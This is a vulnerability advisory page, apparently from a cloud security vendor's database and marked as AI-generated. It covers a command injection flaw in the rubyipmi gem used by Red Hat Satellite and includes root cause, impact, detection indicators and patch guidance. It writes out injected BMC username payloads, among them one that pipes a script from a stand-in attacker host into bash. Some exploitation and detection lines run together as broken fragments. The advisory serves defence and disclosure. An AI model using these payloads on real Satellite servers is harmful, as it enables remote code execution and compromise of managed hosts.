
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-0980 is an OS command injection vulnerability in the rubyipmi Ruby gem (versions ≤ 0.12.1), which is used in the Baseboard Management Controller (BMC) component of Red Hat Satellite. An authenticated attacker with host creation or update permissions can exploit this flaw by supplying a crafted malicious username for the BMC interface, leading to remote code execution (RCE) on the affected system. The vulnerability was reported on January 15, 2026, and publicly disclosed on February 27, 2026. Affected products include Red Hat Satellite 6.x (specifically confirmed in 6.16, 6.17, and 6.18) and the upstream rubyipmi gem up to and including version 0.12.1. The CVSS v3.1 base score is 8.8 (High) (Red Hat CVE, Red Hat Bugzilla).
The root cause is improper neutralization of special elements used in OS commands (CWE-78), specifically within the rubyipmi gem when it processes the BMC username field. When Satellite uses ipmitool as the IPMI implementation and the BMC component is enabled, the username value is passed unsanitized to an underlying shell command. An attacker can inject shell metacharacters (e.g., semicolons or command separators) into the BMC username field — for example, setting the username to admin; touch /var/log/foreman-proxy/hacked — which causes arbitrary OS commands to execute when Foreman fetches the BMC status. Exploitation requires: (1) Satellite deployed with --foreman-proxy-bmc true, (2) ipmitool configured as the IPMI implementation, and (3) the attacker holding host create or edit permissions in Satellite (not full admin) (Red Hat Bugzilla, Red Hat CVE).
Successful exploitation allows an authenticated attacker to execute arbitrary OS commands with the privileges of the foreman-proxy service account on the Satellite server. This can result in full system compromise, including unauthorized data access (confidentiality), modification of system files and configurations (integrity), and disruption of Satellite management services (availability). Given that Red Hat Satellite is a central infrastructure management platform, a compromised instance could enable lateral movement to all managed hosts and expose sensitive provisioning credentials and configuration data (Red Hat Bugzilla, Red Hat CVE).
As of the time of disclosure, there is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.202%, indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires authenticated access with specific host management permissions, which limits the attack surface compared to unauthenticated vulnerabilities.
--foreman-proxy-bmc true) and ipmitool configured as the IPMI provider. Confirm that the attacker account holds host creation or update permissions in Satellite.admin; <malicious_command> (such as admin; curl http://attacker.com/shell.sh | bash or admin; touch /var/log/foreman-proxy/hacked).rubyipmi to pass the unsanitized username to ipmitool via a shell command./var/log/foreman-proxy/proxy.log showing BMC-related command execution with unusual usernames containing shell metacharacters (e.g., semicolons, pipes, backticks); foreman-proxy logs showing errors or unexpected output from ipmitool invocations./var/log/foreman-proxy/ or other directories writable by the foreman-proxy user; new cron jobs, scripts, or binaries placed by the foreman-proxy service account; web shells or backdoors in Satellite application directories.bash, sh, curl, wget, python, nc) visible in process listings; unexpected outbound network connections from the Satellite server.Red Hat has released patched versions of rubygem-rubyipmi (version 0.13.0) addressing this vulnerability. The fix is included in the following Satellite async updates, all issued on March 26, 2026:
As a workaround prior to patching, switch the IPMI implementation from ipmitool to freeipmi, which is not affected by this injection. Additionally, restrict host creation and update permissions to only trusted administrators, and limit network access to the BMC component where possible (Red Hat Bugzilla, RHSA-2026:5968).
The vulnerability received routine coverage from security aggregators and automated CVE feeds shortly after disclosure in late February 2026, including posts on RedPacketSecurity and mentions on Bluesky and Mastodon. No notable independent researcher commentary or significant media coverage beyond standard vulnerability tracking has been identified. The Ruby security advisory database (rubysec.com) and GitLab advisory database also published advisories for the affected gem (Red Hat CVE).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."